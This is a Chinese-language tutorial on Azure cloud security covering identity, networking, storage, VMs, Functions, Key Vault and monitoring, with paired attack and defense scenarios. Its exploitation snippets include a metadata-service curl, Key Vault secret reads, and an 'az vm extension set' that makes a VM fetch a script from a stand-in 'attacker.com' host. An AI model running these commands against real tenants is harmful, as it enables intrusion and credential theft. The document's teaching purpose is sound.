Day-060-Azure 安全实战

# Day 58: Azure 安全实战

> Web 安全系列第 28 天 | 预计阅读时间：40 分钟 | 难度：★★★★☆

---

## 清单 目录

1. [Azure 安全架构](#azure 安全架构)
2. [Azure AD 安全](#azure-ad 安全)
3. [虚拟网络安全](#虚拟网络安全)
4. [存储安全](#存储安全)
5. [虚拟机安全](#虚拟机安全)
6. [函数安全](#函数安全)
7. [Key Vault 安全](#key-vault 安全)
8. [安全监控与合规](#安全监控与合规)
9. [漏洞利用与防护](#漏洞利用与防护)
10. [总结与思考](#总结与思考)
11. [参考资料](#参考资料)

---

## Azure 安全架构

### Azure 安全责任

**Microsoft 负责**：
```
- 物理设施安全
- 网络基础设施
- 虚拟化层安全
- 基础服务安全
- 全球数据中心
```

**客户负责**：
```
- 数据安全
- 应用安全
- 身份管理
- 网络安全配置
- 操作系统安全
- 加密密钥管理
```

### Azure 安全服务

**身份服务**：
```
Azure AD：
- 身份管理
- 单点登录
- 条件访问
- 特权身份管理

Azure AD B2C：
- 客户身份
- 社交登录
- 用户旅程

Azure AD DS：
- 域服务
- 混合身份
- 组策略
```

**网络安全**：
```
VNet：虚拟网络
- 私有网络
- 子网划分
- 对等连接

NSG：网络安全组
- 网络安全规则
- 入站/出站规则
- 服务标签

Azure Firewall：
- 云原生防火墙
- 威胁智能
- 应用规则

DDoS Protection：
- DDoS 防护
- 自动缓解
- 监控告警
```

**数据安全**：
```
Azure Key Vault：
- 密钥管理
- 秘密管理
- 证书管理

Azure Storage Encryption：
- 静态加密
- 传输加密
- 客户管理密钥

Azure Information Protection：
- 数据分类
- 标签管理
- 权限管理
```

**监控服务**：
```
Azure Monitor：
- 资源监控
- 日志分析
- 告警规则

Azure Security Center：
- 安全态势管理
- 威胁防护
- 合规评估

Azure Sentinel：
- SIEM 解决方案
- 威胁检测
- 自动响应

Azure Policy：
- 策略执行
- 合规检查
- 自动修复
```

---

## Azure AD 安全

### Azure AD 基础

**核心概念**：
```
租户（Tenant）：
- 组织实例
- 独立边界
- 资源容器

用户（User）：
- 人类用户
- 服务主体
- 托管身份

组（Group）：
- 用户集合
- 动态组
- 安全组

角色（Role）：
- 权限集合
- 内置角色
- 自定义角色
```

**许可证类型**：
```
Azure AD Free：
- 基本功能
- 用户管理
- 单点登录

Azure AD Premium P1：
- 条件访问
- 自助服务
- 组管理

Azure AD Premium P2：
- 特权身份管理
- 身份保护
- 风险检测
```

### Azure AD 安全配置

**密码策略**：
```
默认策略：
- 最小长度 8
- 复杂度要求
- 90 天更换

增强策略：
- 最小长度 14
- 密码历史 24
- 智能锁定

密码保护：
- 禁止弱密码
- 自定义禁止列表
- 全球禁止列表
```

**MFA 配置**：
```
MFA 方法：
1. Microsoft Authenticator
   - 推送通知
   - 验证码
   - 无密码

2. 电话
   - 语音通话
   - 短信验证码

3. 硬件令牌
   - OATH 令牌
   - FIDO2 密钥

条件访问：
- 所有用户启用
- 特权用户强制
- 风险基础
```

**条件访问**：
```
策略示例：
1. 要求 MFA
   - 所有云应用
   - 所有用户
   - 例外：打破玻璃账户

2. 要求合规设备
   - 所有云应用
   - 所有用户
   - 设备合规

3. 阻止传统认证
   - 所有云应用
   - 所有用户
   - 客户端应用：其他
```

### Azure AD 漏洞利用

**权限提升**：
```
场景 1: 全局管理员
- 完全控制租户
- 创建管理员
- 修改策略

利用：
- 钓鱼攻击
- 凭证窃取
- 令牌盗窃

防护：
- MFA 强制
- 特权身份管理
- 审计日志
```

**服务主体滥用**：
```
场景 2: 服务主体权限过大
- 应用注册
- 高权限
- 凭证泄露

利用：
- 窃取凭证
- 模拟应用
- 访问资源

防护：
- 最小权限
- 证书轮换
- 托管身份
```

**目录同步攻击**：
```
场景 3: AD Connect 凭证泄露
- 混合环境
- 同步账户
- 权限提升

利用：
- 窃取凭证
- 修改同步
- 权限提升

防护：
- 保护 AD Connect
- 监控同步
- 最小权限
```

### Azure AD 审计

**审计日志**：
```
日志类型：
1. 登录日志
   - 成功/失败
   - 位置信息
   - 设备信息

2. 审计日志
   - 用户管理
   - 组管理
   - 应用管理

3. 风险日志
   - 用户风险
   - 登录风险
   - 风险检测
```

**监控查询**：
```kusto
// 失败登录
SigninLogs
| where ResultType != 0
| summarize count() by UserPrincipalName, IPAddress

// 特权操作
AuditLogs
| where Category == "RoleManagement"
| project TimeGenerated, OperationName, Actor, Target

// 风险登录
RiskyUsers
| where RiskLevel != 'none'
| project UserPrincipalName, RiskLevel, RiskState
```

---

## 虚拟网络安全

### VNet 设计

**最佳实践**：
```
1. 订阅分离
   - 生产/开发分离
   - 安全订阅
   - 管理订阅

2. 子网划分
   - Web 子网
   - 应用子网
   - 数据库子网
   - 网关子网

3. IP 规划
   - 避免重叠
   - 预留空间
   - 文档化
```

**对等连接**：
```
VNet 对等：
- 同一区域
- 低延迟
- 高带宽

全局对等：
- 跨区域
- 额外成本
- 复杂配置

最佳实践：
- Hub-Spoke 架构
- 集中管理
- 网络虚拟化
```

### NSG 配置

**Web 子网 NSG**：
```
入站：
- 允许 80, 443 from Internet
- 允许 22 from Bastion
- 拒绝其他

出站：
- 允许应用子网
- 允许 Azure 服务
- 拒绝其他
```

**应用子网 NSG**：
```
入站：
- 允许 8080 from Web
- 允许 22 from Bastion
- 拒绝其他

出站：
- 允许数据库子网
- 允许 Azure 服务
- 拒绝其他
```

**数据库子网 NSG**：
```
入站：
- 允许 3306 from App
- 允许 22 from Bastion
- 拒绝其他

出站：
- 仅允许必要流量
- 拒绝 Internet
```

### 防火墙配置

**Azure Firewall**：
```
应用规则：
- 允许域名
- FQDN 标签
- 应用协议

网络规则：
- IP 地址
- 端口
- 协议

NAT 规则：
- 端口转发
- DNAT
- 公共 IP
```

**WAF 配置**：
```
OWASP 规则集：
- OWASP 3.0
- OWASP 3.1
- 自定义规则

防护模式：
- 检测模式
- 预防模式
- 自定义

排除项：
- 特定 URL
- 特定参数
- 特定头部
```

---

## 存储安全

### 存储账户配置

**访问层级**：
```
热存储层：
- 频繁访问
- 较高存储成本
- 较低访问成本

冷存储层：
- 不常访问
- 较低存储成本
- 较高访问成本

归档存储层：
- 极少访问
- 最低存储成本
- 最高访问成本
```

**冗余选项**：
```
LRS（本地冗余）：
- 同一数据中心
- 3 个副本
- 最低成本

ZRS（区域冗余）：
- 同一区域
- 3 个数据中心
- 中等成本

GRS（地理冗余）：
- 跨区域
- 6 个副本
- 较高成本

GZRS（地理区域冗余）：
- 跨区域 + 区域
- 最高可用
- 最高成本
```

### 存储安全配置

**加密配置**：
```
服务管理密钥：
- Microsoft 管理
- 自动轮换
- 默认启用

客户管理密钥：
- 客户控制
- Key Vault 集成
- 自带密钥

双重加密：
- 服务层加密
- 客户端加密
- 最高安全
```

**访问控制**：
```
共享密钥：
- 账户密钥
- SAS 令牌
- 不推荐

Azure AD：
- 基于身份
- RBAC 集成
- 推荐

共享访问签名：
- 有限权限
- 有限时间
- 谨慎使用
```

### 存储漏洞利用

**公开容器**：
```
场景 1: Blob 容器公开
- 敏感数据泄露
- 凭证泄露
- 合规违规

发现：
https://account.blob.core.windows.net/container/

利用：
az storage blob download -c container -n file.txt

防护：
- 阻止公开访问
- 私有容器
- 定期扫描
```

**SAS 令牌滥用**：
```
场景 2: SAS 令牌泄露
- 长期有效
- 权限过大
- 无访问控制

利用：
# 使用 SAS 访问
az storage blob download --sas-token "token"

防护：
- 短期有效
- 最小权限
- 监控使用
```

**存储防火墙绕过**：
```
场景 3: 防火墙配置错误
- 允许所有网络
- 未限制 VNet
- 未限制 IP

利用：
# 从任意位置访问
az storage account show -n account

防护：
- 启用防火墙
- 限制 VNet
- 限制 IP
```

---

## 虚拟机安全

### 虚拟机安全配置

**安全组配置**：
```
最佳实践：
1. 最小开放
   - 只开放必要端口
   - 限制源 IP
   - 避免 Any

2. 应用安全组
   - 逻辑分组
   - 简化规则
   - 易于管理

3. 定期审查
   - 清理未使用
   - 验证规则
   - 审计变更
```

**磁盘加密**：
```
Azure Disk Encryption：
- BitLocker（Windows）
- DM-Crypt（Linux）
- Key Vault 集成

服务器端加密：
- 默认启用
- Microsoft 管理
- 透明加密

最佳实践：
- 启用 ADE
- 客户管理密钥
- 定期轮换
```

**备份配置**：
```
Azure Backup：
- 自动备份
- 长期保留
- 异地冗余

备份策略：
- 每日备份
- 每周完整
- 每月完整

最佳实践：
- 启用备份
- 测试恢复
- 异地存储
```

### 虚拟机漏洞利用

**RDP/SSH 暴露**：
```
场景 1: 管理端口开放
- 暴力破解
- 漏洞利用
- 横向移动

发现：
nmap -p 22,3389 target-ip

利用：
ssh user@target-ip
rdp target-ip

防护：
- 使用 Bastion
- 限制源 IP
- 启用 MFA
```

**元数据服务**：
```
场景 2: 实例元数据
- 敏感信息
- 凭证泄露
- 配置信息

利用：
curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

防护：
- 限制访问
- 监控访问
- 最小权限
```

**扩展滥用**：
```
场景 3: 自定义脚本扩展
- 远程执行
- 权限提升
- 持久化

利用：
az vm extension set \
  --publisher Microsoft.Azure.Extensions \
  --name CustomScript \
  --version 2.0 \
  --settings '{"fileUris":["http://attacker.com/script.sh"]}'

防护：
- 限制扩展
- 审批流程
- 监控部署
```

---

## 函数安全

### Azure Functions 安全

**身份认证**：
```
函数密钥：
- 函数级密钥
- 主机级密钥
- 定期轮换

Azure AD 认证：
- 基于身份
- RBAC 集成
- 推荐

IP 限制：
- 允许列表
- 拒绝列表
- VNet 集成
```

**网络安全**：
```
VNet 集成：
- 出站连接
- 入站限制
- 私有端点

私有端点：
- 私有 IP
- VNet 内部
- 无公网

最佳实践：
- 使用私有端点
- 限制访问
- 监控调用
```

**依赖安全**：
```
包管理：
- 锁定版本
- 扫描漏洞
- 定期更新

代码审查：
- 安全编码
- 秘密扫描
- 代码审计

最佳实践：
- 最小依赖
- 定期更新
- 监控漏洞
```

### 函数漏洞利用

**权限过大**：
```
场景 1: 函数身份权限过大
- 访问所有资源
- 管理权限
- 数据泄露

利用：
# 修改函数代码
az functionapp deployment source config-zip ...

# 执行恶意代码
# 访问敏感数据

防护：
- 最小权限
- 托管身份
- 监控调用
```

**注入攻击**：
```
场景 2: 输入未验证
- HTTP 触发
- 队列触发
- 存储触发

利用：
# SQL 注入
# 命令注入
# XXE 注入

防护：
- 输入验证
- 参数化查询
- 安全编码
```

**供应链攻击**：
```
场景 3: 第三方依赖
- 恶意包
- 已知漏洞
- 供应链攻击

利用：
# 污染依赖
# 植入后门
# 数据窃取

防护：
- 锁定依赖
- 扫描漏洞
- 最小依赖
```

---

## Key Vault 安全

### Key Vault 基础

**密钥类型**：
```
软件密钥：
- 软件保护
- 成本较低
- 一般安全

HSM 密钥：
- 硬件保护
- FIPS 140-2
- 最高安全

密钥操作：
- 加密/解密
- 签名/验证
- 包装/解包
```

**访问策略**：
```
密钥权限：
- 获取
- 列表
- 创建
- 删除

秘密权限：
- 获取
- 列表
- 设置
- 删除

证书权限：
- 获取
- 列表
- 创建
- 删除
```

### Key Vault 安全配置

**网络访问**：
```
公共访问：
- 所有网络
- 选定网络
- 私有端点

私有端点：
- 私有 IP
- VNet 内部
- 无公网

最佳实践：
- 使用私有端点
- 限制访问
- 监控访问
```

**访问控制**：
```
访问策略：
- 基于策略
- 细粒度权限
- 传统方式

RBAC：
- 基于角色
- Azure AD 集成
- 推荐

最佳实践：
- 使用 RBAC
- 最小权限
- 定期审查
```

### Key Vault 漏洞利用

**访问策略过宽**：
```
场景 1: 所有人可访问
- 密钥泄露
- 秘密泄露
- 证书泄露

发现：
az keyvault show -n vault-name

利用：
az keyvault secret show --vault-name vault-name --name secret-name

防护：
- 限制访问
- 使用 RBAC
- 监控访问
```

**密钥泄露**：
```
场景 2: 密钥硬编码
- 代码泄露
- 凭证泄露
- 资源访问

发现：
- GitHub 扫描
- 代码审查
- 秘密扫描

利用：
# 使用密钥访问资源
# 解密数据
# 签名请求

防护：
- 使用托管身份
- 定期轮换
- 秘密扫描
```

**备份泄露**：
```
场景 3: 备份未保护
- 密钥备份
- 秘密备份
- 恢复删除

利用：
# 恢复删除的密钥
# 访问备份
# 获取密钥

防护：
- 启用软删除
- 启用清除保护
- 限制访问
```

---

## 安全监控与合规

### Azure Monitor

**日志配置**：
```
诊断设置：
- 资源日志
- 指标日志
- 审计日志

Log Analytics：
- 集中存储
- 查询分析
- 告警规则

最佳实践：
- 启用所有日志
- 集中存储
- 长期保留
```

**告警规则**：
```
指标告警：
- CPU 使用率
- 内存使用率
- 网络流量

日志告警：
- 登录失败
- 配置变更
- 安全事件

操作告警：
- 自动响应
- Logic Apps
- 函数触发
```

### Security Center

**安全态势**：
```
安全分数：
- 总体分数
- 按资源
- 按建议

建议：
- 高优先级
- 中优先级
- 低优先级

修复：
- 手动修复
- 自动修复
- 跟踪进度
```

**威胁防护**：
```
虚拟机防护：
- 恶意软件
- 漏洞
- 配置

容器防护：
- 镜像扫描
- 运行时防护
- 注册表扫描

SQL 防护：
- SQL 注入
- 异常访问
- 漏洞检测
```

### 合规管理

**合规标准**：
```
内置计划：
- CIS Benchmark
- ISO 27001
- PCI DSS
- HIPAA
- GDPR

自定义计划：
- 组织要求
- 行业标准
- 特定合规
```

**合规报告**：
```
合规仪表板：
- 总体合规
- 按标准
- 按资源

审计报告：
- 合规状态
- 不合规资源
- 修复建议

持续监控：
- 自动评估
- 实时状态
- 告警通知
```

---

## 漏洞利用与防护

### 常见攻击场景

**场景 1: 凭证泄露**：
```
攻击链：
1. GitHub 扫描
   - 搜索硬编码凭证
   - 公开仓库
   - 历史提交

2. 凭证利用
   - 访问 Azure 资源
   - 提升权限
   - 数据窃取

防护：
- 使用 Key Vault
- 定期轮换
- 监控使用
```

**场景 2: 钓鱼攻击**：
```
攻击链：
1. 钓鱼邮件
   - 伪造登录页面
   - 窃取凭证
   - MFA 疲劳

2. 访问资源
   - 登录 Azure
   - 访问资源
   - 横向移动

防护：
- MFA 强制
- 条件访问
- 用户培训
```

**场景 3: 存储桶泄露**：
```
攻击链：
1. 发现公开存储
   - 自动化扫描
   - 子域名枚举
   - 证书透明度

2. 数据窃取
   - 下载数据
   - 凭证泄露
   - 合规违规

防护：
- 阻止公开访问
- 存储策略限制
- 定期扫描
```

### 安全加固

**立即行动**：
```
1. 启用 MFA
   - 所有用户
   - 特权用户强制
   - 条件访问

2. 保护根账户
   - 打破玻璃账户
   - 安全存储
   - 监控使用

3. 启用日志
   - Azure Monitor
   - Security Center
   - Sentinel
```

**短期改进**：
```
1. 权限审查
   - 未使用权限
   - 过度权限
   - 权限提升

2. 网络加固
   - NSG 审查
   - 防火墙配置
   - VNet 设计

3. 数据保护
   - 加密启用
   - 备份配置
   - 访问控制
```

**长期规划**：
```
1. 安全架构
   - 多订阅策略
   - 网络分段
   - 数据分类

2. 自动化安全
   - 基础设施即代码
   - 策略即代码
   - 自动合规

3. 持续监控
   - 安全态势
   - 威胁检测
   - 事件响应
```

---

## 总结与思考

### 核心要点回顾

1. **身份安全**
   - Azure AD 配置
   - MFA 启用
   - 条件访问

2. **网络安全**
   - VNet 设计
   - NSG 配置
   - 防火墙规则

3. **数据安全**
   - 加密存储
   - Key Vault
   - 访问控制

### 深入思考问题

1. **混合云安全**？
   - 本地 + 云
   - 身份同步
   - 策略一致

2. **多云安全**？
   - Azure + AWS
   - 统一管理
   - 工具集成

3. **零信任架构**？
   - 持续验证
   - 微隔离
   - 动态授权

### 实战建议

**云架构师**：
1. 安全设计
2. 最佳实践
3. 合规要求
4. 成本优化

**安全人员**：
1. 持续监控
2. 事件响应
3. 漏洞管理
4. 合规审计

**开发人员**：
1. 安全编码
2. 凭证管理
3. 依赖管理
4. 安全测试

---

## 参考资料

### 学习资源
- [Azure Security Documentation](https://docs.microsoft.com/en-us/azure/security/)
- [Azure Well-Architected Framework](https://docs.microsoft.com/en-us/azure/architecture/framework/)
- [Azure Security Blog](https://techcommunity.microsoft.com/t5/microsoft-security-and/bg-p/MicrosoftSecurity)

### 工具资源
- [Azure Security Center](https://azure.microsoft.com/en-us/services/security-center/)
- [Azure Sentinel](https://azure.microsoft.com/en-us/services/azure-sentinel/)
- [Pacu Azure](https://github.com/RhinoSecurityLabs/pacu)

### 书籍推荐
- 《Azure 安全最佳实践》
- 《Practical Azure Security》
- 《Azure Security》
- 《Cloud Security and Privacy》

### 在线资源
- [Azure Security Benchmark](https://docs.microsoft.com/en-us/azure/security/benchmarks/)
- [CIS Azure Benchmark](https://www.cisecurity.org/benchmark/microsoft_azure/)
- [OWASP Cloud Security](https://owasp.org/www-project-cloud-security/)

---

**标记 明日预告**：Day 59 - GCP 安全实战

> 本文内容仅供学习和研究使用，请勿用于非法目的。所有实验请在隔离环境中进行。

---

*本文是 365 天信息安全技术系列的第 58 篇，Web 安全部分第 28 篇，精编版本*